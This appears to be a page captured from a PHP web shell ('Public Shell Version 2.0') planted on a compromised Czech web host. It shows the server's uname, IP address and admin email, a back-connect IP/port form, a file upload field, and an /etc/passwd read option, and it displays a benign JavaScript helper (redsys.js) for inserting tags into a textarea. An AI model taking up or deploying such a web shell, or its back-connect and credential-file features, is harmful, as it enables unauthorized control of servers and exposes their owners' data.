Public Sh


Uname : Linux ispc 6.2.16-3-pve #1 SMP PREEMPT_DYNAMIC PVE 6.2.16-3 (2023-06-17T05:58Z) x86_64
PHP Version : 5.2.6-1+lenny16
Server Admin : webmaster@zednictvi-stastny.eu
Server IP : 109.105.49.240 Your IP : 3.149.27.125
Safe Mode : Safe Mode is OFF
Read etc/passwd : Disabled Functions : PHP INFO
Back Connect
IP : PORt :
'; Public Shell Version 2.0
Disable Functions: passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source,highlight_file
Current Path : /var/www/clients/client49/web272/web/gallery/js/
File Upload :
Current File : /var/www/clients/client49/web272/web/gallery/js/redsys.js

/**
 * Vloží do textarea pořado 
 * 
 * @param   string    Jméno tagu 
 * @param   bool      Je tag párový? Výchozi true
 * @param   string    Obsah tagu, výchozí hodnotou je vybraný text
 * @param   string    Text vkládaný před tag. Výchozí null
 * @param   string    Text vkládaný za tag. Výchozí null
 */
function insertTag(tag, parovy, text, prependText, appendText)
{
	//inicializace proměných
	var textarea = document.forms["postMsg"].elements["mydesc"];

	var startTag = '<' + tag + '>';
	var endTag = '</' + tag + '>';

	if (typeof text == 'undefined') {
		var tagText = getTextareaSelection();
	} else {
		var tagText = text;
	}
	
	if (typeof parovy == 'undefined') {
		var parovy = true;
	}

	if (typeof prependText == 'undefined') {
		var prependText = '';
	}
	
	if (typeof appendText == 'undefined') {
		var appendText = '';
	}
	
				
	//vytvoření textu pro vložení
	if (!parovy) {
		endTag = '';
	}
		
	var text2insert = prependText + startTag + tagText + endTag + appendText;
	
	//vložení:
	textarea.focus();
	
	if (typeof textarea.selectionStart != 'undefined') {
		var start = textarea.selectionStart;
		var end = textarea.selectionEnd;
		
		textarea.value = textarea.value.substr(0, start) + text2insert + textarea.value.substr(end);
		
		//nastaveni kurzoru na spravné misto / vybrani pozadovaneho textu
		if (typeof selectionStart != 'undefined' && typeof selectionEnd != 'undefined') {
			textarea.selectionStart = start + selectionStart;
			textarea.selectionEnd = start + selectionEnd;
		} else {
			if (tagText == '') {
				//skoceni mezi tagy
				textarea.selectionStart = start + prependText.length + startTag.length;
				textarea.selectionEnd = start + prependText.length + startTag.length;
			} else {
				//skoceni za posledni tag
				textarea.selectionStart = start + text2insert.length;
				textarea.selectionEnd = start + text2insert.length;
			}
		}
	}
	else if (typeof document.selection != 'undefined') {
		var range = document.selection.createRange();
		range.text = text2insert;
		
		//nastaveni kurzoru na spravné misto / vybrani pozadovaneho textu
		if (typeof selectionStart != 'undefined' && typeof selectionEnd != 'undefined') {
			range.moveStart('character', -text2insert.length + selectionStart);
			range.moveEnd('character', -text2insert.length + selectionEnd);
		} else {
			if (tagText == '') {
				//skoceni mezi tagy
				range.move('character', -(endTag.length + appendText.length));
			} else {
				//skoceni za posledni tag
				//protoze prohlizec v tomto pripade skoci za posledni tag automaticky, neni treba nic posouvat	
			}
		}
		range.select();
	}

	//unset promenych
	delete selectionStart;
	delete selectionEnd;
}

function getTextareaSelection()
{
	var textarea = document.forms["postMsg"].elements["mydesc"];
	
	if (typeof textarea.selectionStart != 'undefined') {
		var selection = textarea.value.substring(textarea.selectionStart, textarea.selectionEnd);
	} else if (typeof document.selection != 'undefined') {
		var selection = document.selection.createRange().text;
	} else {
		//alert('Bug!');
	}
	return selection;
}

function getDocumentSelection()
{
	var textarea = document.forms["postMsg"].elements["mydesc"];
	
	if (document.getSelection) selection = document.getSelection();
	else if(document.selection) selection = document.selection.createRange().text;
	else if(window.getSelection) selection = window.getSelection();
	else selection = '';
	return selection;
}

String.prototype.trim = function() {
	return this.replace(/^\s+|\s+$/g,"");
}

Public Shell Version 2.0